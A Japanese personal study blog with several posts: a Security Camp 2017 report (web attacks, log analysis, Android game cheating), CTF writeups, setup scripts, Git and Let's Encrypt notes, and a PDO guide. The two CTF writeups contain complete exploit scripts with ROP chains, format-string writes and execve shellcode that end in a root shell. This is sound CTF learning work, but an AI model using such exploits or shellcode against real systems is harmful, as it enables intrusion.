のいじーメモ

勉強したことを忘れないうちにメモしていくためのブログ

セキュリティキャンプ九州 in 福岡 2017に参加してきた。

今週のお題「読書の秋」

9/1 ~ 9/3に行われたセキュリティキャンプ 九州 in 福岡 に参加してきました。

このキャンプのテーマはwebセキュリティでした。 

1日目

 1. オープニング

このキャンプでは

・分野を超えてつなげる

・仲間とつなげる

・将来につなげる

を意識して挑んでくださいというお話。

今までwebを中心に勉強していて他の分野の話になるとわからなくなって困るというのはよくあったのでとても刺さるお話でした。

 2. 情報セキュリティ技術の使い方をケースで考えよう

倫理的なお話。犯罪になるケースと犯罪にならないケースを考えて犯罪になる場合は該当する犯罪の説明をしていただいた。前日に参加していたSANS NETWARSでも法律のお話を聞いていたので復習になった。

 3. そうだ!セキュリティ・キャンプ、行こう

セキュリティキャンプ全国大会にいこうぜ!って感じのお話

僕は年齢制限に引っかかって参加できないので無限に羨ましかった。コアキャンプの紹介もあった。ただただ羨ましくて辛かった。

4. いじって壊して遊んでハッカーになろう 

ターゲットはPythonpeeweebottleで作られたwebサーバー。

DjangoとかFlaskは聞いたことあったけどbottleは知らなかったので既に知見でした。bottleにはORMがないのでpeeweeを使うという感じらしいです。そもそもpythonwebアプリを作ったことがないのですがソースコードを読んでいる限りとても簡単そうで自分でもつくってみたくなりました。

講義のに内容はXSSからOSコマンドインジェクションまでのwebの基礎的な攻撃をハンズオンで学びました。

ネットワークの構成を直前で変更したみたいでハンズオン環境が落ちてしまうなどのトラブルに見舞われ、急遽上野さんの「そうだ!セキュリティキャンプ全国大会へ行こう!」と順番が入れ替わりました。

僕はトラブルシューティングが好きなのでチューターの方のトラブルシューティングに混ざって僕もやりたいなーなんて思っていました。

LINEmeetupに参加

Ken Thompson HackingやMorris wormなど過去に行われた衝撃的な事件や発表を解説していただきました。

Ken Thompson Hackingがヤバすぎてやばかったです(難しかったのであまり理解できていません)

 

Ken Thompson Hacking

http://boscono.hatenablog.com/entry/2016/06/05/165745

Morris wrom

https://blog.kaspersky.co.jp/morris-worm-turns-25/1950/

 

2日目

1. Webセキュリティ基礎講座

対象のwebアプリに対して診断を行う感じの講義でした。いろいろな脆弱性が盛り込まれていて楽しくハンズオンをしていました。

感覚的にはMBSD Cyber Security Challengesの対象がwebアプリのみといった雰囲気でした。

脆弱性はバグの一種なのでプログラム自体の品質を高くしてバグを減らせば脆弱性も減るというお話を伺い、自分の作ったアプリもバグ多いなーとか、バグがあるのがわかっていても修正しないときとかあるので考えを改めようと思いました()

2. ログ解析基礎講座

標的型メール訓練のログ解析を行いました。初めはログを解析して、欲しい情報を切り出すプログラムを書けという感じで課題を与えられて、がんばって書いていました。pythonでやろうとおもったのですが、shellのほうが早いかなと思ってawkでなんとかやっていました。

ログの分析については自分の分析能力が低くてかなり苦労しました。ネットワークの知識が全然足りていないのでそもそも発想が出てこないとか色々反省するところがありました。

 

後半はハニーポットcowrieを使って収集したログを分析しようという内容でしたが他の受講者の方が頂いたイメージをインポートする時にMACアドレスを初期化していなかったみたいでsshが繋がらない問題でいろいろこけてあまり進まなくて途中で終わってしまいました。Elastic searchを使うところまでいけなくて悲しい

ちょうどSANST-Potを建てたい気持ちになっていたのでキャンプ後に自分で挑戦します。

3. Game Security Hands-on

個人的に一番楽しみにしていた講義。

Unityandroidアプリを解析してチートを行うといった内容でした。

具体的にはGame Guardianでメモリ改ざんを行ったり、BurpSuiteで通信改ざんしたり、 Assembly-CSharp.dlldnspyデコンパイルしてdll overwirteしてチートしようぜって感じです。

課題があって

メモリ改ざんで敵の体力を1にする

通信改ざんでスコアを1000にする

ローカルストレージを買い換えて攻撃力を1000にする

Dll改ざんでチートする

といった課題に取り組みました。

自分はあまり進捗がよくなくて、1日目は他の人よりも遅れて2日目が終了しました。

ゲームチートの講義がめっちゃ楽しかったので学校の後輩とその部屋の人を誘って朝まで解析をしていました。

Dllを改ざんした後、apkを再構築してインストールするためにGameに署名を行うのですがそこで随分ハマりました。

少しチート対策されたアプリに対してチート行うために過去のCEDEC ChallengeのスライドやAVtokyoのスライドなどを見て取り組んでいましたが、IL2CPPコンパイルされたプログラムを解析できずに死にました。 

3日目

1. Game Security Hands-on

昨日の続き。writeupをしていただきました。

課題への対策には

メモリチート ->メモリの内容を暗号化

リクエスト改ざん -> SSLを使う。SSL piningを行う

ローカルファイル改ざん -> ローカルファイルを暗号化する。ローカルファイルのhashを持っておいて、サーバー側がhash値を検証する

Dll改ざん -> 難読化を行う

などで対策を行いましょう。だけど対策をしても完璧ではなくてあくまで解析されにくくするだけだし、ゲームによっては対策も変わるというのがゲームチート対策の難しいところなんだろうなと思いました。

IL2CPPの問題に対しては迂回して解く方法を志賀講師から伺ったので、また試そうと思います。

CEDEC Challengeの問題に取り組んだ時は何もわからなかったのでここで知見を持ち帰れてとてもよかったです。

 

課題に取り組むときに参考にしたサイト

https://engineering.linecorp.com/ja/blog/detail/110

https://www.nevermoe.com/wp-content/uploads/2016/11/avtokyo_jp_re.pdf

http://bbottait.hatenablog.com/entry/2016/09/10/073601

 2. 攻撃の検知と防御

脆弱なwebアプリに対して、pythonで自動攻撃ツールを書いて攻撃が通った確認した後、WAFの検知ログを除いて分析して、次は改ざん検知のプログラムを書くという内容でした。

 

攻撃ツールは僕は事前課題で作っていたのでそれをちょっと改変するだけでした。

WAFmod_securityを使っていて、それのログを分析するのですが、僕はmod_securityのログの味方がわからず、ググりながら設定ファイルを読んだりしてどんなアラートがでているかを分析していました。

改ざん検知のプログラムはどうやって作るかとても悩んで結局対策できているのかどうかもわからない感じのプログラムをつくって発表したので恥ずかしかったです。他の人の発表を聞いてなるほどーと思っていました。

この講義では攻撃ツールを作るのがとても楽しくて事前課題は一番力を入れて取り組んだのでキャンプ終了後も開発に取り組んで汎用性を高めたりしようと考えています。

 

まとめ

23日という期間、初めて福岡を訪れたのに豚骨ラーメンも明太子も食べずひたすらセキュリティを学ぶというキャンプでしたが、とても楽しく勉強させていただきました。

ゲームチートやログ分析など、これから学びたい分野ができてとても嬉しいです。

 

次はチューターとして参加したいとか思ったりしているのでこれからも自分の技術を磨いて行こうと思います。

 

MVP記念

 

BugsBunnyCTF pwn250 writeup

競技中には手をつけていなくて解けなかったんですが競技終了後に挑戦したら解けたのでwriteupを残そうと思います。

 

 libcが渡されている問題です。

まずはセキュリティ機構の確認

f:id:neko0206:20170802130231p:plain

次は動かしてみます

f:id:neko0206:20170802130654p:plain

f:id:neko0206:20170802130709p:plain

BOFの問題ですね。

続いてディスアセンブルしてみます

f:id:neko0206:20170802130903p:plain

f:id:neko0206:20170802130917p:plain

スタックを0x80分確保していてreadで入力された値がスタックの1番上に格納されるということがわかりました。

writeが使えるのでこれを使ってGOTの__libc_start_mainのlibcアドレスをリークしてそこからオフセットでlibcのベースアドレスを求めようと考えます。writeは引数が3つ必要でx86_64のバイナリは引数がrdi,rsi,rdxになるのでスタックから各レジスタにpopしてくれるようなガジェットを探します。

f:id:neko0206:20170802130324p:plain

f:id:neko0206:20170802130454p:plain

return先はhere関数にしてもう一度readさせます。 そのあとsystem("/bin/sh")を起動させるのですが、systemを呼んだ時に

f:id:neko0206:20170802125046p:plain

このようにcall __GI___sigactionのときにスタックがrodataを指してしまいSEGVしてしまいました。これは上書きしたsaved ebpの値(今回はbss+0x100)が小さかったために起きてしまったので、もう少し大きな値へ書き換えることで解決しました。

最終的なエクスプロイトコードはこちら

#!/usr/bin/python
# -*- coding: utf-8 -*-

import __main__, os, sys, struct, socket, telnetlib, subprocess, time

from libformatstr import FormatStr

proc = ''
s = ''
 
def local(cmd):
    __main__.proc = subprocess.Popen(cmd.strip().split(' '))
    proc.wait()

def pipelocal(cmd):
    __main__.proc = subprocess.Popen(cmd.strip().split(' '), stdin=subprocess.PIPE, stdout=subprocess.PIPE)

# socat tcp-listen:4444,reuseaddr,fork exec:./a.out &
def sock(remoteip="127.0.0.1", remoteport=4444):
    __main__.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((remoteip, remoteport))
    time.sleep(0.5)

def splitn(data, n):
    length = len(data)
    return [data[i:i+n] for i in range(0, length, n)]

def writefile(buf_arg,file_name):
    with open(file_name, 'wb') as f:
        f.write(buf_arg)

def recv(delim='\n', out=1):
    data = ''
    while not data.endswith(delim):
        data += s.recv(1)
    if(out == 1):
        print('\nrecv: \n' + data + '\n')
    return data

def recvn(x=1024, out=1):
    data = ''
    data += s.recv(x)
    if(out == 1):
        print('\nrecv: \n' + data + '\n')
    return data

def send(x, sleep=0.3, out=1):
    s.sendall(x + '\n')
    if(out == 1):
        print('\nsend: \n' + x + '\n')
    time.sleep(sleep)

def u(x):
    return struct.unpack("<I",x[:4])[0]

def u64(x):
    return struct.unpack("<Q",x[:8])[0]

def p(x):
    return struct.pack("<I",x)

def p64(x):
    return struct.pack("<Q",x)

def shell():
    if(s != ''):
        #print('---- interactive mode ----')
        t= telnetlib.Telnet()
        t.sock = s
        t.interact()
    elif(p != ''):
        print('---- interactive mode ----')
        proc.wait()

def xxd(a):
    a = str(a)
    hexdump.hexdump(a)

def read(delim="\n", out=1):
    data = ''
    while not data.endswith(delim):
        data += proc.stdout.readlne(1)
    if(out == 1):
        print('\nread: \n' + data + '\n')
    return data

def readn(num=1024, out=1):
    data = ''
    while(num>0):
        data += proc.stdout.read(1)
        num = num-1
    if(out == 1):
        print('\nread: \n' + data + '\n')
    return data

sc_execve32 = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"
sc_execve64 = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
dup2_execve32 = "\x31\xd2\x31\xc9\x8d\x5a\x04\x8d\x42\x3f\xcd\x80\x41\x8d\x42\x3f\xcd\x80\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"
dup2_execve64 = "\x31\xd2\x31\xf6\x67\x8d\x7a\x04\x67\x8d\x42\x21\x0f\x05\xff\xc6\x67\x8d\x42\x21\x0f\x05\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05"
#-----------START EXPLOIT CODE-----------#
got_libc_start_main = 0x601028
write = 0x400436
read = 0x400446
bss = 0x601040
offset_libc = 0x020740
offset_system = 0x045390
offset_binsh = 0x18cd17
sock()
raw_input("enter")

buf = "A" * 0x80
buf += p64(bss + 0x300)
buf += p64(0x0040056a)  # pop rdi; pop rsi; pop rdx; ret
buf += p64(1)
buf += p64(got_libc_start_main)
buf += p64(8) 
buf += p64(write)
buf += p64(0x400575) # :	lea    rax,[rbp-0x80]
send(buf)

line = recvn()
libc_main_addr = u64(line)

libc_base = libc_main_addr - offset_libc

buf = "A" * 0x88
buf += p64(0x00400633)  # pop rdi; ret
buf += p64(libc_base + offset_binsh)
buf += p64(libc_base + offset_system)

send(buf)
send(buf)
shell()

DEF CON CTF Qualifier 2015 babyecho Writeup

strippedなバイナリを解析するのは初めてだったので大変だった。 解いたあと、他の人のwriteupを見てこんな感じのプログラムだったんだ...解析力すげえ...ってなってた。

まずはfileコマンドで調べてみる。

root@ubuntu:~/pwn/babyecho# file babyecho 
babyecho: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=c9a66685159ad72bd157b521f05a85e2e427f5ee, stripped

32bit,静的リンクかつstrippedなバイナリということがわかる。

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial

セキュリティ機構はなにもついていない。 次に実行してみる。

root@ubuntu:~/pwn/babyecho# ./babyecho 
Reading 13 bytes
aaaaa
aaaaa
Reading 13 bytes
aaaaaaaaaaaaaa
aaaaaaaaaaaa
Reading 13 bytes
a
Reading 13 bytes
AAAA %7$x 
AAAA 41414141

fsbがあり、indexが7であることがわかった。 fsbがあるけど13バイトしか読み込んでくれないのでなんとかして、読み込むバイト数を増やしたい。

[----------------------------------registers-----------------------------------]
EAX: 0xffffd17c --> 0x0 
EBX: 0x80481a8 (push   ebx)
ECX: 0xffffffff 
EDX: 0x80eb4d4 --> 0x0 
ESI: 0x0 
EDI: 0x80ea00c --> 0x8067f00 (mov    edx,DWORD PTR [esp+0x4])
EBP: 0xffffd588 --> 0x80497d0 (push   ebx)
ESP: 0xffffd160 --> 0xffffd17c --> 0x0 
EIP: 0x8048ff7 (call   0x8048e24)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048fec:	mov    DWORD PTR [esp+0x4],eax
   0x8048ff0:	lea    eax,[esp+0x1c]
   0x8048ff4:	mov    DWORD PTR [esp],eax
=> 0x8048ff7:	call   0x8048e24
   0x8048ffc:	lea    eax,[esp+0x1c]
   0x8049000:	mov    DWORD PTR [esp],eax
   0x8049003:	call   0x8048ecf
   0x8049008:	lea    eax,[esp+0x1c]
Guessed arguments:
arg[0]: 0xffffd17c --> 0x0 
arg[1]: 0xd ('\r')
arg[2]: 0xa ('\n')
[------------------------------------stack-------------------------------------]
0000| 0xffffd160 --> 0xffffd17c --> 0x0 
0004| 0xffffd164 --> 0xd ('\r')
0008| 0xffffd168 --> 0xa ('\n')
0012| 0xffffd16c --> 0x0 
0016| 0xffffd170 --> 0xd ('\r')
0020| 0xffffd174 --> 0xffffd17c --> 0x0 
0024| 0xffffd178 --> 0x0 
0028| 0xffffd17c --> 0x0 
[------------------------------------------------------------------------------]

fgets関数っぽいところの第二引数を書き換えることを考える。

gdb-peda$ x/20wx $esp
0xffffd160:	0xffffd17c	0x0000000d	0x0000000a	0x00000000
0xffffd170:	0x0000000d	0xffffd17c	0x00000000	0x41414141
0xffffd180:	0x00000000	0x00000000	0x00000000	0x00000000
0xffffd190:	0x00000000	0x00000000	0x00000000	0x00000000
0xffffd1a0:	0x00000000	0x00000000	0x00000000	0x00000000

indexが1のアドレスが第二引数の部分なのでそこを書き換えようとしてみる。まずebpとespのオフセットを計算して ebpとespのアドレスをリークし、 esp+1のところを大きい数値に書き換えてみたが、書き込めるバイト数が増えなかった。

もう一度fgets付近を見てみる。

[----------------------------------registers-----------------------------------]
EAX: 0x11 
EBX: 0x80481a8 (push   ebx)
ECX: 0xffffffff 
EDX: 0x80eb4d4 --> 0x0 
ESI: 0x0 
EDI: 0x80ea00c --> 0x8067f00 (mov    edx,DWORD PTR [esp+0x4])
EBP: 0xffffd588 --> 0x80497d0 (push   ebx)
ESP: 0xffffd160 --> 0x80be5f1 ("Reading %d bytes\n")
EIP: 0x8048fe8 (mov    eax,DWORD PTR [esp+0x10])
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048fd4:	mov    DWORD PTR [esp],0x80be5f1
   0x8048fdb:	call   0x804f560
   0x8048fe0:	mov    DWORD PTR [esp+0x8],0xa
=> 0x8048fe8:	mov    eax,DWORD PTR [esp+0x10]
   0x8048fec:	mov    DWORD PTR [esp+0x4],eax
   0x8048ff0:	lea    eax,[esp+0x1c]
   0x8048ff4:	mov    DWORD PTR [esp],eax
   0x8048ff7:	call   0x8048e24
[------------------------------------stack-------------------------------------]
0000| 0xffffd160 --> 0x80be5f1 ("Reading %d bytes\n")
0004| 0xffffd164 --> 0xd ('\r')
0008| 0xffffd168 --> 0xa ('\n')
0012| 0xffffd16c --> 0x0 
0016| 0xffffd170 --> 0xd ('\r')
0020| 0xffffd174 --> 0xffffd17c --> 0x0 
0024| 0xffffd178 --> 0x0 
0028| 0xffffd17c --> 0x0 
[------------------------------------------------------------------------------]

[esp+0x10]から[esp+0x4]にコピーしているので[esp+0x10]を書き換えなければいけないことがわかった。 あとはさっきの要領でesp+10のところを大きい数値に書き換えて入力文字数を増やしたら、あとはシェルコードぽいー

#!/usr/bin/python
# -*- coding: utf-8 -*-

import __main__, os, sys, struct, socket, telnetlib, subprocess, time

from libformatstr import FormatStr

#import hexdump

proc = ''
s = ''
 
def local(cmd):
    __main__.proc = subprocess.Popen(cmd.strip().split(' '))
    proc.wait()

def pipelocal(cmd):
    __main__.proc = subprocess.Popen(cmd.strip().split(' '), stdin=subprocess.PIPE, stdout=subprocess.PIPE)

# socat tcp-listen:4444,reuseaddr,fork exec:./a.out &
def sock(remoteip="127.0.0.1", remoteport=4444):
    __main__.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((remoteip, remoteport))
    time.sleep(0.5)

def splitn(data, n):
    length = len(data)
    return [data[i:i+n] for i in range(0, length, n)]

def writefile(buf_arg,file_name):
    with open(file_name, 'wb') as f:
        f.write(buf_arg)

def recv(delim='\n', out=1):
    data = ''
    while not data.endswith(delim):
        data += s.recv(1)
    if(out == 1):
        print('\nrecv: \n' + data + '\n')
    return data

def recvn(x=1024, out=1):
    data = ''
    data += s.recv(x)
    if(out == 1):
        print('\nrecv: \n' + data + '\n')
    return data

def send(x, sleep=0.3, out=1):
    s.sendall(x + '\n')
    if(out == 1):
        print('\nsend: \n' + x + '\n')
    time.sleep(sleep)

def u(x):
    return struct.unpack("<I",x[:4])[0]

def u64(x):
    return struct.unpack("<I",x[:8])[0]

def p(x):
    return struct.pack("<I",x)

def p64(x):
    return struct.pack("<Q",x)

def shell():
    if(s != ''):
        #print('---- interactive mode ----')
        t= telnetlib.Telnet()
        t.sock = s
        t.interact()
    elif(p != ''):
        print('---- interactive mode ----')
        proc.wait()

def read(delim="\n", out=1):
    data = ''
    while not data.endswith(delim):
        data += proc.stdout.readlne(1)
    if(out == 1):
        print('\nread: \n' + data + '\n')
    return data

def readn(num=1024, out=1):
    data = ''
    while(num>0):
        data += proc.stdout.read(1)
        num = num-1
    if(out == 1):
        print('\nread: \n' + data + '\n')
    return data

sc_execve32 = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"
sc_execve64 = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"

#-----------START EXPLOIT CODE-----------#

offset_ebp = 0x30c
index = 7
sock()
recvn()

buf = "%%%d$08x" % (index + 0x200/4)
send(buf)
ebp_addr = int(recvn()[:8],16)
esp_addr = ebp_addr - offset_ebp

buf = "%%%d$08x" % (index - 0x18/4)
send(buf)
recvn()
buf = p(esp_addr + 0x10 ) + "%99c%7$n"
send(buf)
recvn()
buf = p(esp_addr + 0x10 ) + "%1023c%7$n"
send(buf)
recvn()

buf = p(esp_addr + 0x42c)
buf += p(esp_addr + 0x42c+1)
buf += p(esp_addr + 0x42c+2)
buf += p(esp_addr + 0x42c+3)
buf += p(esp_addr + 0x18)
buf += sc_execve32
a = map(ord, p(esp_addr + 0x1c+20))
b = 1
b = ((b-a[3]-1) % 0x100) + 1
a[3] = ((a[3]-a[2]-1) % 0x100) + 1
a[2] = ((a[2]-a[1]-1) % 0x100) + 1
a[1] = ((a[1]-a[0]-1) % 0x100) + 1
a[0] = ((a[0]-len(buf)-1) % 0x100) + 1

buf += "%%%dc%%%d$hhn" % (a[0], index)
buf += "%%%dc%%%d$hhn" % (a[1], index+1)
buf += "%%%dc%%%d$hhn" % (a[2], index+2)
buf += "%%%dc%%%d$hhn" % (a[3], index+3)
buf += "%%%dc%%%d$hhn" % (b, index+4)

send(buf)
shell()
send: 
��������������������1�Rh//shh/bin��RS���B
                                         %132c%7$hhn%230c%8$hhn%90c%9$hhn%15c%10$hhn%2c%11$hhn

  g
Reading 1023 bytes
������������Rh//shh/bin��RS���B
                                                                                                                                                                                                                                                                                                                                                                                                      
                                                                                                       �
id
uid=0(root) gid=0(root) groups=0(root)

format string attackのやり方については 下記URLを参考にした。 http://inaz2.hatenablog.com/entry/2014/04/30/173618

ubuntuでpwn環境構築

CTFのバイナリ解析環境構築メモ

x86_64用

#!/bin/bash
apt-get install -y git

# x86バイナリを動かす為のパッケージ
dpkg --add-architecture i386
apt-get update
apt-get install libc6:i386 libncurses5:i386 libstdc++6:i386
apt-get install gcc-multilib g++-multilib

# radare2
git clone https://github.com/radare/radare2
sh radare2/sys/install.sh

# ELF解析用
apt-get install binutils
 
# ROPガジェット用
wget https://github.com/0vercl0k/rp/releases/download/v1/rp-lin-x64 \
&& wget https://github.com/0vercl0k/rp/releases/download/v1/rp-lin-x86 \
&& chmod +x rp-lin-x64 rp-lin-x86 \
&& mv rp-lin-x64 rp-lin-x86 /usr/local/bin
 
# リモート用
apt-get install socat
 
# gdb-peda
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit

x86

#!/bin/bash

apt-get install -y git
# ELF解析用
apt-get install binutils

# radare2
git clone https://github.com/radare/radare2
sh radare2/sys/install.sh
# ROPガジェット用
wget https://github.com/downloads/0vercl0k/rp/rp-lin-x86
chmod +x rp-lin-x86; mv rp-lin-x86 /usr/local/bin
 
# リモート用
apt-get install socat
 
# gdb-peda
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit

Windows Server 2012 R2でGitサーバーを構築した時のトラブルシューティング


リモートリポジトリからgit cloneができない。

 

サーバー側で正常に動いているのに外部からできないのはネットワーク周りが原因だろうという予測のもと、もう一度clone時のパケットをwiresharkで覗いているとやはりcloneの途中(upload-pack.exe実行時?)でRSTが返されている。

これについて調べていると、TCPReplayをというツールを間にかませることで解決できたという記事を見かけたので試したところトラブルの解決に至った。
Gitのupload-packの通信方法が原因っぽい?

以下git daemonの立ち上げ順序です

git daemon を立ち上げる

git daemon --verbose --export-all --enable=receive-pack --base-path=C:¥Users¥Administrator¥Desktop --port=9417


TCPReplayを実行

cd C:¥Users¥Administrator¥Desktop¥TCPRelay-master¥bin¥Debug
TCPRelay.exe 0.0.0.0 9418 127.0.0.1 9417

TCPReplayのビルド方法(.NET Framework2.0必須)まず.NET Framework2.0の導入

コントロールパネル→プログラム→Windowsの機能の有効化または無効化

.NET Framework 3.5 Featuresにチェック

インストー

TCPReplayのダウンロード
https://github.com/HiraokaHyperTools/TCPRelay

C:¥Windows¥Microsoft.NET¥Framework64¥v2.0.50727¥MSBuild.exe C:¥Users¥Administrator¥Desktop¥TCPRelay-master¥TCPRelay.csproj /t:build

MSBuildのパスとTCPReplayのパスは自分の環境に合わせる

コンパイル後の実行ファイルはここらへんにあるはず
C:¥Users¥Administrator¥Desktop¥TCPRelay-master¥bin¥Debug

git push時に

Writing objects: 100%

くらいまで出た後止まる場合(windowsのGitのバグらしい)

git config --global sendpack.sideband false

 

Let's Encrypt で証明書を自動更新する方法

certbotをclone

$ cd /usr/local/
$ git clone https://github.com/certbot/certbot

Let's Encrypt クライアントが依存するパッケージをインストー

$ cd certbot/
$ ./certbot-auto -n

証明書の取得

$ ./certbot-auto certonly --webroot \
-w /var/www/example -d example.com \
-m sample@example.com \
--agree-tos -n

 

 

オプション

certonly
 証明書の取得のみを行います。デフォルト値は「run」で、証明書の取得とApache等のSSL設定もやってくれるそうですが、まだうまく動かないことが多いようです。

--webroot
 ApacheなどWEBサーバのドキュメントルートに、認証用ファイルを生成します。ドキュメントルート直下に「.well-known/」というディレクトリが作成され、この中に生成されているようです。証明書の取得が終われば、この認証用ファイルは削除されます。稼働しているWEBサーバがない場合(メールサーバなど)は --standalone を指定すると良いでしょう。

-w
 ドキュメントルートのパスを指定します。Apacheの場合は、DocumentRoot で指定しているパスです。

-d
 証明書を取得するドメイン名を指定します。Apacheの場合は、ServerName で指定しているドメイン名です。

-m
 ご自分のメールアドレスを指定します。なにかトラブルがあった場合などに Let's Encrypt との連絡用に使用されます。また、証明書の更新期限が近づくと、ここで指定したメールアドレス宛に、お知らせメールが届きます。

--agree-tos
 Let's Encrypt の利用規約に同意します。事前に利用規約https://letsencrypt.org/repository/」を確認しておきましょう。

-n
 --non-interactive の省略オプションです。対話メッセージの表示や入力を求められないようにできます。
 

自動更新をする

    $crontab -e
    00 05 01 * * /usr/local/certbot/certbot-auto renew --force-renewal &&  nginx -s reload

PDOの説明

自分なりにPDOについて勉強したのでここにまとめます。

作成したサンプルコード

 

<?php
$db = new PDO('mysql:host=localhost;dbname=db_name;charset=utf8','user','password');
$db->setAttribute ( PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION );
$db->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);

$loginid = "var";
$sql = "SELECT * from users WHERE loginid= :loginid ";

$statement = $db->prepare($sql);

$statement->bindValue(':loginid',$loginid,PDO::PARAM_STR);
$statement->execute();

while($user = $statement->fetch(PDO::FETCH_ASSOC)){

echo $user["loginid"] . "<br>";
}


PDO (PHP Data Objects)

データアクセス抽象化レイヤーと言われ、アプリケーションとDBMS(データベース管理システム)の間に入ってDBMSの違いを意識せずにアプリケーションを作成するもの。
データベースの違いを意識しないで同じ書き方で使える。

$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);

エミュレーションがONの場合のみ, ; 区切りで複数のSQL文を1つのクエリで実行することができる.
エミュレートの設定がONだと動的プレースホルダになり、OFFだと静的プレースホルダになる。


ユーザー入力を受け取ってSQL文を動的に生成する場合は プリペアドステートメントプレースホルダ を使わなければならない.

プレースホルダ:
直訳すると「場所取り」.何かユーザ入力を当てはめる場所としてあらかじめ確保しておくもの.
プリペアドステートメント:
直訳すると「予約文」.文を予約したもの.通常,「予約文」は「場所取り」を使うために作られる.もし「場所取り」が無ければ普通に PDO::query などで実行するだけで十分なためである.
プレースホルダには2種類あり,疑問符プレースホルダ を使う方法と, 名前付きプレースホルダ を使う方法がある.もしこれらが混ざってしまうと

SQLSTATE[HY093]: Invalid parameter number: mixed named and positional parameters

が発生するので、どちらか一方のみを選択すること.

動的プレースホルダと静的プレースホルダの違い

IPAの出している「安全なSQLの呼び出し方」では、
静的プレースホルダは、SQL文をデータベースエンジン側にあらかじめ送信して、実行前にSQL文の構文解析などを準備しておく方式です。 SQL 実行の段階で、実際のパラメータの値をデータ
ベースエンジン側に送信し、データベースエンジン側がバインド処理します。
動的プレースホルダは、パラメータのバインド処理をデータベースエンジン側で行うのではなく、アプリケーション側のライブラリ内で実行する方式です。
と説明されている。

参考URL
IPA 安全なSQLの呼び出し方
https://www.ipa.go.jp/files/000017320.pdf
qiita PDOの静的プレースホルダと動的プレースホルダの違いを確認する
http://qiita.com/7968/items/7ddd59b94eb5a4fb6eaf

バインド機構

SQLインジェクションを防ぐために、プログラムのソースコードSQL文の雛(ひな)型の中に変数の場所を示す記号(プレースホルダと呼ばれる)を置いた後、実際の値を割り当てる仕組み。
入力値中の特殊記号も単なる値として渡されるためエスケープ処理なしで安全にSQL文を発行することが可能となる。
データベースシステムやプログラム言語によっては、この機構が用意されているものもありSQLインジェクション対策として有用である。

 

bindValue:値をバインドする 実行する前に値をバインドする
bindParam:変数をバインドする 実際に値を評価するのはexecute()の時。

基本的にbindValue推奨
理由:実行後にバインドした変数が文字列型にされる仕様もあるから
参考URL
http://qiita.com/_dozen_/items/e3c00a0a581378a4cc70

ということで値をバインドする。

$statement->bindValue(':loginid',$loginid,PDO::PARAM_STR);

 参考URL
qiita bindValueとbindParamの違い
http://piyopiyocs.blog115.fc2.com/blog-entry-656.html
qiita PHPでデータベースに接続するときのまとめ
http://qiita.com/mpyw/items/b00b72c5c95aac573b71